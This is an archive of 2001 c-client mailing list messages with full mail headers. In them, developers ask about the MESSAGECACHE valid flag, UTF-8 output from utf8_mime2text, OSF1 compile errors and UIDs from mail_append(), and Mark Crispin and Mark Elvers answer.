(mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBD24YuD031570 for ; Wed, 12 Dec 2001 18:04:34 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Dec 12 18:04:28 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBD24Rpr023600; Wed, 12 Dec 2001 18:04:27 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBD23w223958; Wed, 12 Dec 2001 18:03:59 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBD21bn170516 for ; Wed, 12 Dec 2001 18:01:37 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Dec 12 18:01:36 2001 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBD21aVK029437 for ; Wed, 12 Dec 2001 18:01:36 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Dec 12 18:01:35 2001 -0800 Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBD21Z11030101 for ; Wed, 12 Dec 2001 18:01:35 -0800 Received: from goedel1.math.washington.edu (goedel1.math.washington.edu [128.95.224.10]) by euler.math.washington.edu (8.11.6/8.11.6) with ESMTP id fBD21ZM479532 for ; Wed, 12 Dec 2001 18:01:35 -0800 (PST) Message-Id: Date: Wed, 12 Dec 2001 18:01:35 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: c-client@CAC.Washington.EDU Subject: mc->valid MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I have a question about the MESSAGECACHE structure. My question is specifically about the "valid" component. I read in http://www.cs.cmu.edu/~brians/comp/imap-client.html that the component valid has the following meaning unsigned int valid : 1; flags are valid in this elt; an elt that was newly created but never loaded with flags won't have this set. So does this mean that if mc->valid is equal to zero I can't trust the values of mc->seen, mc->recent, etc? If the answer to the above question is "Yes, you can not trust :)", then is there a way to get valid information on the flags? or am I misundertanding the meaning of valid?. Thank you, -- Eduardo http://www.math.washington.edu/~chappa/personal.html -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Dec 12 18:53:19 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Dec 2001 18:53:18 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBD2rHuD030107 for ; Wed, 12 Dec 2001 18:53:17 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Dec 12 18:53:08 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBD2r711031122; Wed, 12 Dec 2001 18:53:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBD2qw422108; Wed, 12 Dec 2001 18:52:58 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBD2qCn103128 for ; Wed, 12 Dec 2001 18:52:12 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Dec 12 18:52:12 2001 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBD2qCVK004676 for ; Wed, 12 Dec 2001 18:52:12 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Dec 12 18:52:11 2001 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBD2qB11031111 for ; Wed, 12 Dec 2001 18:52:11 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.12]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBD2qB8W010807; Wed, 12 Dec 2001 18:52:11 -0800 Received: from Shimo-Tomobiki.Panda.COM (cs203-48.fsmodem.washington.edu [140.142.183.49]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBD2q4kg029806 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Wed, 12 Dec 2001 18:52:10 -0800 Message-Id: Date: Wed, 12 Dec 2001 18:51:41 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Eduardo Chappa Cc: c-client@CAC.Washington.EDU Subject: Re: mc->valid In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 12 Dec 2001, Eduardo Chappa wrote: > So does this mean that if mc->valid is equal to zero I can't trust the > values of mc->seen, mc->recent, etc? That is a correct; and it is a bug in your program if this happens. Your program should ALWAYS do a mail_fetch_fast() or mail_fetch_structure() call before accessing an elt mail_fetch_flags() is also possible, but since it will not load rfc822_size or internaldate its use is discouraged. > If the answer to the above question > is "Yes, you can not trust :)", then is there a way to get valid > information on the flags? or am I misundertanding the meaning of valid?. Answer is above. There is no reason why most applications should ever need to test valid, because only through a logic bug will they access an elt without having first ensured that its cache was loaded. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Dec 13 10:02:25 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 13 Dec 2001 10:02:24 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBDI2NuD013996 for ; Thu, 13 Dec 2001 10:02:23 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Dec 13 10:02:16 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBDI2G11017038; Thu, 13 Dec 2001 10:02:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBDI21233846; Thu, 13 Dec 2001 10:02:01 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBDI0Jn80174 for ; Thu, 13 Dec 2001 10:00:19 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Thu Dec 13 10:00:18 2001 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBDI0Im1008143 for ; Thu, 13 Dec 2001 10:00:18 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Dec 13 10:00:17 2001 -0800 Received: from dsdm02002.public.datamedia.fr (mail.datamedia.fr [212.155.239.64]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBDI0Gpr010563 for ; Thu, 13 Dec 2001 10:00:16 -0800 Received: by DSDM02002 with Internet Mail Service (5.5.2653.19) id ; Thu, 13 Dec 2001 19:00:16 +0100 Message-Id: <21ACBAE9C35CD311800D005004869A755E7E83@DSDM02002> Date: Thu, 13 Dec 2001 19:00:07 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Emmanuel Sellier To: c-client@CAC.Washington.EDU Subject: utf8_mime2text result MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I have a iso8859-1 string to convert to a simple ascii string. I use utf8_mime2text function (mime string is set in SIZEDTEXT using cpytxt). in the resulting SIZEDTEXT->data string, all characters under 127 are ok, but all accentuated characters are coded on two bytes? what is the coding? how can i simply convert this string to a signed-char array? Thanks Emmanuel -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 13 10:09:33 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 13 Dec 2001 10:09:32 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBDI9SuD029837 for ; Thu, 13 Dec 2001 10:09:31 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Dec 13 10:09:22 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBDI9M11017428; Thu, 13 Dec 2001 10:09:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBDI96223972; Thu, 13 Dec 2001 10:09:06 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBDI8Nn22260 for ; Thu, 13 Dec 2001 10:08:23 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Thu Dec 13 10:08:22 2001 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBDI8MVK011050 for ; Thu, 13 Dec 2001 10:08:22 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Dec 13 10:08:21 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBDI8Kpr011037 for ; Thu, 13 Dec 2001 10:08:21 -0800 Message-Id: Date: Thu, 13 Dec 2001 10:06:43 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Emmanuel Sellier Cc: c-client@CAC.Washington.EDU Subject: re: utf8_mime2text result In-Reply-To: <21ACBAE9C35CD311800D005004869A755E7E83@DSDM02002> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 13 Dec 2001 19:00:07 +0100, Emmanuel Sellier wrote: > I have a iso8859-1 string to convert to a simple ascii string. What do you mean by that? ISO-8859-1 is not representable in "simple ASCII." > I use utf8_mime2text function (mime string is set in SIZEDTEXT using > cpytxt). > in the resulting SIZEDTEXT->data string, all characters under 127 are ok, > but all accentuated characters are coded on two bytes? what is the coding? Unicode, in UTF-8 encoding. > how can i simply convert this string to a signed-char array? What do you mean by that? From pinedev@shivax2.cac.washington.edu Thu Dec 13 14:57:10 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 13 Dec 2001 14:57:05 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBDMv3uD023966 for ; Thu, 13 Dec 2001 14:57:04 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Dec 13 14:56:58 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBDMuw11027007; Thu, 13 Dec 2001 14:56:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBDMuk218852; Thu, 13 Dec 2001 14:56:46 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBDMtRn66274 for ; Thu, 13 Dec 2001 14:55:28 -0800 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Thu Dec 13 14:55:26 2001 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBDMtQTA025676 for ; Thu, 13 Dec 2001 14:55:26 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Dec 13 14:55:23 2001 -0800 Received: from mango.telerian.net ([195.188.42.141]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBDMtL11026969 for ; Thu, 13 Dec 2001 14:55:22 -0800 Received: from host213-122-133-45.btinternet.com (host213-122-133-45.btinternet.com [213.122.133.45]) by mango.telerian.net (8.11.4/8.10.1) with ESMTP id fBDMsU522610; Thu, 13 Dec 2001 22:54:30 GMT Message-Id: Date: Thu, 13 Dec 2001 22:54:20 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Elvers To: Emmanuel Sellier Cc: c-client@CAC.Washington.EDU Subject: Re: utf8_mime2text result In-Reply-To: <21ACBAE9C35CD311800D005004869A755E7E83@DSDM02002> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN There is an excellent FAQ on UTF-8 and Unicode by Markus Kuhn at http://www.cl.cam.ac.uk/~mgk25/unicode.html which will explain the encoding of the UTF-8 strings and --mte On Thu, 13 Dec 2001, Emmanuel Sellier wrote: > Hello, > > I have a iso8859-1 string to convert to a simple ascii string. > I use utf8_mime2text function (mime string is set in SIZEDTEXT using > cpytxt). > in the resulting SIZEDTEXT->data string, all characters under 127 are ok, > but all accentuated characters are coded on two bytes? what is the coding? > how can i simply convert this string to a signed-char array? > > Thanks > Emmanuel > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Fri Dec 14 03:30:25 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Dec 2001 03:30:21 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBEBTjV6007739 for ; Fri, 14 Dec 2001 03:29:55 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Dec 14 02:35:54 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBEAZs11008627; Fri, 14 Dec 2001 02:35:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBEAZf414986; Fri, 14 Dec 2001 02:35:41 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBEAXEn166496 for ; Fri, 14 Dec 2001 02:33:14 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Dec 14 02:33:13 2001 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBEAXDTA009388 for ; Fri, 14 Dec 2001 02:33:13 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Dec 14 02:33:09 2001 -0800 Received: from pots.cmguc.com ([208.248.239.67]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBEAX811008573 for ; Fri, 14 Dec 2001 02:33:09 -0800 Received: from cmguc.com ([10.226.132.54]) by pots.cmguc.com (Mirapoint) with ESMTP id AAH73816; Fri, 14 Dec 2001 05:32:47 -0500 (EST) Message-Id: <3C19D4E9.73A9D0D3@cmguc.com> Date: Fri, 14 Dec 2001 11:31:05 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Art Bales To: "c-client@cac.washington.edu" Subject: compiling on OSF1 version 4.0 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I successfully compiled the c-client library on a Digital OSF1 version 4.0 UNIX box. Then I wrote some code to the c-client libraries, and included c-client.h in my source code. I am trying to compile this code but I keep getting errors originating from the utf8.h header file as such: Error parsing parameter list. Found "*" when expecting one of: ",", ")". (notexpecting) typedef void (*cstext_t) (SIZEDTEXT * text, SIZEDTEXT * ret, void * tab); ----------------------------------------^ and: Error parsing parameter list. Found "*" when expecting one of: ",", ")". (notexpecting) void utf8_searchpgm (SEARCHPGM *pgm,char *charset); ---------------------------------------^ I wonder if anyone has experience compiling under OSF1 and if they had any porting issues? Thanks, Art -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Dec 14 03:47:19 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Dec 2001 03:47:18 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBEBlDV6026416 for ; Fri, 14 Dec 2001 03:47:14 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Dec 14 03:00:02 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBEB0211009008; Fri, 14 Dec 2001 03:00:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBEAxt423734; Fri, 14 Dec 2001 02:59:55 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBEAwln88036 for ; Fri, 14 Dec 2001 02:58:48 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Dec 14 02:58:47 2001 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBEAwl3F021176 for ; Fri, 14 Dec 2001 02:58:47 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri Dec 14 02:58:46 2001 -0800 Received: from dsdm02002.public.datamedia.fr (mail.datamedia.fr [212.155.239.64]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBEAwjpr002467 for ; Fri, 14 Dec 2001 02:58:45 -0800 Received: by DSDM02002 with Internet Mail Service (5.5.2653.19) id ; Fri, 14 Dec 2001 11:58:45 +0100 Message-Id: <21ACBAE9C35CD311800D005004869A755E7E85@DSDM02002> Date: Fri, 14 Dec 2001 11:58:38 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Emmanuel Sellier To: "'Mark Elvers'" Cc: c-client@CAC.Washington.EDU Subject: RE: utf8_mime2text result MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Well, i checked in Pine. What i need is a simple version of the rfc1522_decode function. Emmanuel -----Message d'origine----- De : Mark Elvers [mailto:mtelvers@Telerian.NET] Envoy=E9 : jeudi 13 d=E9cembre 2001 23:54 =C0 : Emmanuel Sellier Cc : c-client@cac.washington.edu Objet : Re: utf8_mime2text result There is an excellent FAQ on UTF-8 and Unicode by Markus Kuhn at http://www.cl.cam.ac.uk/~mgk25/unicode.html which will explain the encoding of the UTF-8 strings and --mte On Thu, 13 Dec 2001, Emmanuel Sellier wrote: > Hello, > > I have a iso8859-1 string to convert to a simple ascii string. > I use utf8_mime2text function (mime string is set in SIZEDTEXT using > cpytxt). > in the resulting SIZEDTEXT->data string, all characters under 127 are = ok, > but all accentuated characters are coded on two bytes? what is the = coding? > how can i simply convert this string to a signed-char array? > > Thanks > Emmanuel > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Fri Dec 14 10:59:03 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Dec 2001 10:59:02 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBEIx0V6012498 for ; Fri, 14 Dec 2001 10:59:01 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Dec 14 10:58:57 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBEIwvpr013058; Fri, 14 Dec 2001 10:58:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBEIwk521834; Fri, 14 Dec 2001 10:58:47 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBEIvQn163028 for ; Fri, 14 Dec 2001 10:57:26 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Dec 14 10:57:25 2001 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBEIvP3F003989 for ; Fri, 14 Dec 2001 10:57:25 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Dec 14 10:57:20 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBEIvJpr012994 for ; Fri, 14 Dec 2001 10:57:19 -0800 Message-Id: Date: Fri, 14 Dec 2001 10:54:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Art Bales Cc: "c-client@cac.washington.edu" Subject: re: compiling on OSF1 version 4.0 In-Reply-To: <3C19D4E9.73A9D0D3@cmguc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 14 Dec 2001 11:31:05 +0100, Art Bales wrote: > I successfully compiled the c-client library on a Digital OSF1 version > 4.0 UNIX box. Then I wrote some code to the c-client libraries, and > included c-client.h in my source code. I am trying to compile this code > but I keep getting errors originating from the utf8.h header file Since c-client.h does not include utf8.h, you must be including utf8.h yourself. Are you including it before c-client.h? If so, that's your problem; it needs the definitions from c-client.h. From pinedev@shivax2.cac.washington.edu Tue Dec 18 06:22:41 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Dec 2001 06:22:36 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBIEMZV6008061 for ; Tue, 18 Dec 2001 06:22:36 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 18 06:22:26 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBIEMQpr016936; Tue, 18 Dec 2001 06:22:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBIEM8535406; Tue, 18 Dec 2001 06:22:08 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBIEJon78232 for ; Tue, 18 Dec 2001 06:19:50 -0800 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 18 06:19:49 2001 -0800 Received: from mango.telerian.net ([195.188.42.141]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBIEJlm1009369 for ; Tue, 18 Dec 2001 06:19:48 -0800 Received: from [192.168.233.106] (ras_233_106 [192.168.233.106]) by mango.telerian.net (8.11.4/8.10.1) with ESMTP id fBIEJ1304491 for ; Tue, 18 Dec 2001 14:19:02 GMT Message-Id: Date: Tue, 18 Dec 2001 14:18:54 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Elvers To: c-client@u.washington.edu Subject: mail_append() MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm using mail_append() to keep a copy of my sent messages, hence I have my Outbox 'selected' - is there some way that I can be 100% certain which UID was allocated to the newly created message Sentbox message? Thanks Mark -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 18 07:14:58 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Dec 2001 07:14:57 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBIFEtV6028518 for ; Tue, 18 Dec 2001 07:14:55 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 18 07:14:43 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBIFEhpr017906; Tue, 18 Dec 2001 07:14:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBIFEL527362; Tue, 18 Dec 2001 07:14:21 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) 